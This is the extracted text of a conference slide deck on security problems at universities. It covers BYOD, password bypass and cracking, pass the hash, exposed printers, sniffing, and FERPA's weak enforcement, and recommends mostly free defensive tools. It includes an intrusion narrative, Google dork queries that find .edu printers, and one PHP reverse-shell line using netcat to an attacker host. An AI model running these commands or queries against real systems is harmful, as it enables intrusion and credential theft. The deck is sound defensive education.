Adrian Crenshaw

 I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m just a geek with time on my hands  Sr. Information Security Engineer at a Fortune 1000  Co-Founder of Derbycon

 This is a broad subject, too broad  Give you something to think about  Going to try to suggest cheap/free tools to solve problems  More notes here: versity-campus-security versity-campus-security-2013

 What are the differences?  Open by design  Lack of physical control  BYOD (Bring Your Own Device) is standard  Early Adoption/Legacy  Apps with little regard to security  Politics/Organizational Problems  Legal Stuff

 Bandwidth  Botnets  Pivots  Free Hosting  Free resources  Books/Articles  Aaron Swartz & JSTOR is a sad case of admins going too far  Research Information  Grades/Tests/Notes  Forced directory browsing for the win!

 The point is to learn (in theory)  Learning is the product, not widgets or whatever  Experimentation is needed to learn  Can I run a service on this?  Where can I put my website?  Where can I run my code?  Try telling tenured faculty they can’t run a server?

 Old software never dies “But I just got to use this BASICA app”  Time tables for testing  Assumption of Admin access Mitigation:  Figure out needed registry and file system permissions  Procmon us/sysinternals/bb aspx us/sysinternals/bb aspx

 Frequent nuke and rebuilds  SteadyState – no longer supported  Achieving the effect with built in tech us/library/gg176676%28WS.10%29.aspx us/library/gg176676%28WS.10%29.aspx Commercial  Deep Freeze  Alternatives

 Besides crappy apps, there is malware  Nuke it from orbit, it’s the only way to be sure  Symantec Ghost  Open Source Alternatives:  Train users to put their files in a know location  Windows Easy Transfer us/windows7/products/features/windows-easy- transfer us/windows7/products/features/windows-easy- transfer

 Attackers are already on the soft chewy center of the “Candy Analogy”  Remember the axiom: “If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.“ ~ Microsoft or Dr. David Salomon

 Password Resets  Password Bypass  Pass the Hash  Password Cracking

 Offline NT Password & Registry Editor, Bootdisk/CD  Bart's PE Builder  Windbuilder  Sala's Password Renew  NTPWEdit

 Kon-Boot  Subverts Boot Process  Blank a password in Windows on login  Reboot and authentication goes back to normal  Some locally stored passwords will not work  Nirsoft’s Password Recovery tools:

 Portable Boot Devices (USB/CD/DVD) able-boot-devices-usb-cd-dvd able-boot-devices-usb-cd-dvd  Building a boot USB, DVD or CD based on Windows 7 with WinBuilder and Win7PE SE Tutorial builder-win7pe-se-tutorial builder-win7pe-se-tutorial  Dual booting Winbuilder/Win7PE SE and Backtrack 5 on a USB flash drive with XBOOT t-backtrack-winbuilder-dual-boot t-backtrack-winbuilder-dual-boot

 Some may be thinking: "Those are just the patron access machines - my staff workstations and file servers are still safe because they are behind locked doors."  Let me share my little horror story about network privilege escalation:

1. First frat boy Bob becomes a local admin on a workstation using a boot device. 2. He then copies off the SAM and SYSTEM files for later cracking with Cain or Hashcat I've done tons of videos/articles over the years on password cracking, so I'll point you to some of those:  Cracking Windows Vista/XP/2000/NT Passwords via SAM and SYSKEY with Cain, Ophcrack, Saminside, BKhive, Samdump2 etc passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc  Password Exploitation Class

3. Many folks use the same local admin passwords on all of the boxes they deploy, allowing Bob to attack other boxes from across the network using the cracked credentials. 4. Bob then installs a software key logger to gain even more credentials as faculty, staff and students login to the compromised workstation. 5. Repeat leap frogging.

 Pass the Hash  Metasploit's psexec  Pass the Hash Tool Kit e=Wiki&action=view&type=tool&name=Pass-The- Hash_Toolkit e=Wiki&action=view&type=tool&name=Pass-The- Hash_Toolkit

 Cached Domain Credentials  MSCash and MSCash v  Cain & Able  Hashcat  Browser, Mail Client, etc. 

 Don’t store local passwords  Don’t use LMHASHs  New OS or greater that 15 character passwords  No default local admin, but custom (HASH(MAC+SK))  Locked BIOS Unified Extensible Firmware Interface (UEFI)  Control what people can boot from  Support issues for reimaging  Better lock the case too  Cheap lock = crap lock  Prohibitively expensive to do better.  More on passwords in a bit  None of it stops hardware key loggers

 Even professors from Comp Sci/Infosec may not know tech details  Defining Pen-test to two Infosec professors  Defining what a USB hub was to another  Silly attitudes: "Additionally, Mr. Crenshaw's personal website, housed on university resources, is a compendium of links to know computer hacker websites, hacker toolkits, and other hacker resources.“ ~ Larry Mand  The word hacker freaks them out a bit

 Sterling Riggs WDRB Facebook Post September 26: “I don't know how I feel about this--DerbyCon happening at Hyatt downtown. It's a convention for computer hackers.”  Lot’s of prejudicial comments  I pointed it out to my infosec buds on Twitter, and tons of Infosec folks showed up to defend hackerdom and the conference  Post since deleted  But Jayson E. Street saved some  Eve Adams got in the last words I saw: "Kill em with kindness. Hack em with hugs."

 Ethics, or lack there of  You get fired for what you do do, not for what you don’t. Why rock the boat?  Tenure  No, you change your IP scheme  How do you enforce rules on those that can’t be fired?  Like High school cliques, but with more grey hair and tweed

 The plural of a anecdote is not evidence, but…  The Foundation for Individual Rights in Education  Look over the timeline for the Jerry Sandusky case  Look up the origin of the Clery Act  No, not all schools are this way (I hope)

 They have always been doing it, did not have a term for Bring you own device  Flat Networks  NAC (Network Access Control)  Better be more than MAC Address (ifconfig, MadMACs)  Crapware on box need to check system AV and patch level   (Maybe dead)

 Remote password attacks  Noisy  Slow  Default passwords  No passwords are common on printers  Network gear  Webcams/Teleconference  DRACs

 Printers  Data leaks/Docs  DoS  Free print jobs  Stored passwords  DRACs (or other management)  Remote control  Webcams/Teleconferencing  Passwords on desks?  SoHo NASes

 Softperfect’s NetScan nner/ nner/  RAWR (Rapid Assessment of Web Resources) from Adam Byers & Tom Moore

  Examples: Ricoh Savins intitle:"web image monitor" site:edu "/web/user/en/websys/webArch/mainFrame.cgi" site:edu inurl:"/en/sts_index.cgi" site:edu HP Jetdirects (Varies greatly from model to model) inurl:hp/device/this.LCDispatcher site:edu CUPS Connected Printers inurl:":631/printers" -php -demo site:edu intitle:"web image monitor" site:edu"/web/user/en/websys/webArch/mainFrame.cgi" site:eduinurl:"/en/sts_index.cgi" site:eduinurl:hp/device/this.LCDispatcher site:eduinurl:":631/printers" -php -demo site:edu

 Some scanners will just tell you  THC-Hydra  Medusa  Brutus  Default Password Lists (or just Google)

 Default password of a new account?  Passwords reused to often, known by too many, never changed  Frequent resets cause people to write it down (or more support calls)  Password Patterns  Passwords over Passphrase = e = e+19

 Facebook started on university campuses  Students are way too free with information  OSInt, Cyberstalking, Footprinting and Recon: Getting to know you -cyberstalking-footprinting-recon -cyberstalking-footprinting-recon  Curious George Bronk

 How many organizations of about 7000 people have a class B?  Got in early, got a lot of space  Don’t have to NAT for numbering reasons, so a lot of stuff is on the public Internet  Some problems:  Open ports or everything!  Reconfigure devices  Reverse DNS

nmap -sL */* Nmap scan report for pm-cser-loanbox.papermill.edu ( ) Nmap scan report for pm-sscs-hh10500.papermill.edu ( ) Nmap scan report for pm-buse-jsmith02.papermill.edu Nmap scan report for npi10adab.papermill.edu ( )

 Firewall it off  Turn it off  Watch for defaults when sharing files  Things get shared with too many folkS  NetScan is awesome for finding these  Do they really need it?  Walled Off Experimentation Labs  Virtual Machines

 User training  Who’s an admin?  SOHO NAS, and why are they there?

 Anyone doing it?  Open Source Helpers  Graylog2  OSSIM  Security Onion

 Does the page allow for scripting?  Packages kept up to date  Old web apps never die  PHP Example $x = shell_exec("nc AttackingBoxIP 30 -e cmd ");  Web Shells techniques-obfuscation-and-automated-collection-adrian-crenshaw techniques-obfuscation-and-automated-collection-adrian-crenshaw  OWASP (Open Web Application Security Project)  Web Application Pen-testing Tutorials With Mutillidae tutorials-with-mutillidae tutorials-with-mutillidae

 Corporate Network can get away with more because of physical perimeter (sort of)  Insecure protocols  HTTP  FTP  SMTP  Telnet

 Password sniffing  Files/Print Jobs  Cookie/session hijacking  Common sniffing tools  Wireshark  NetworkMiner  Cain  Ettercap

 Protocol replacements  IDS/IPS/ARPWatch  LAN segmentation  Network Sniffers Class for the Kentuckiana ISSA sniffers-class sniffers-class  Static ARP  ARPFreeze static-arp-poisoning static-arp-poisoning

 Do you know what is out there?  Professors, students and staff could be hooking anything up  NAC may give some info  Nmap  Nagios Commercial:  Nessus  Nexpose

 Better than it use to be  WSUS great for Windows clients you control us/windowsserver/bb aspx us/windowsserver/bb aspx Commercial:  Shavlik  Secunia CSI (can be uses with WSUS) Open Source: 

 Open Wireless can be sniffed (duh!)  Lots of legacy system exist that may not be able to use WPA/2 Enterprise (getting better)  VPN over open WiFi was a common option  Not so useful  Disabling SSID Broadcasting  MAC Address Filtering  Evil twin attacks

 Universities hit everything across the board  Most of these others in the audience will know better than I  PCI DSS (Payment Card Industry Data Security Standard)  HIPAA/HITECH (Health Insurance Portability and Accountability Act / Health Information Technology for Economic and Clinical Health Act)  FISMA/FIPS (Federal Information Security Management Act of 2002 / Federal Information Processing Standards)  IRB (Institutional Review Board)  FERPA (Family Educational Rights and Privacy Act)  Let’s dive into this

Turn off the video now

 Three main parts 1. Give students access to their records 2. The ability to amend records 3. To control disclosure of student records  Only for Schools getting money form U.S. Department of Education programs  Why it is pretty fucking useless!

 No individual right to sue  See Gonzaga University v. Doe  Can’t find a case of any university ever loosing funding because of a breach  Have there been no breaches?  Just not enforced?

Two Quotes:  "If, as a result of the hearing, the school still decides not to amend the record, the eligible student has the right to insert a statement in the record setting forth his or her views"  "Thus, while FERPA affords eligible students the right to seek to amend education records which contain inaccurate information, this right cannot be used to challenge a grade or an individual's opinion, or a substantive decision made by a school about a student."  Amendment clause has exceptions (that covers all possibilities)  Grades  Statements or Opinions  “Substantive” Decision  What is left?  Overall Conclusion: FERPA has no teeth

 Mostly links, sorry  Slides will be up when I post the video, but most are in the article  If you experiences are different, I’d live to here them  Private/State/ Commercial  Teaching vs. Research  Government Research

Derbycon Sept ?th-?th, Others Photo Credits to KC (devauto) Derbycon Art Credits to DigiP

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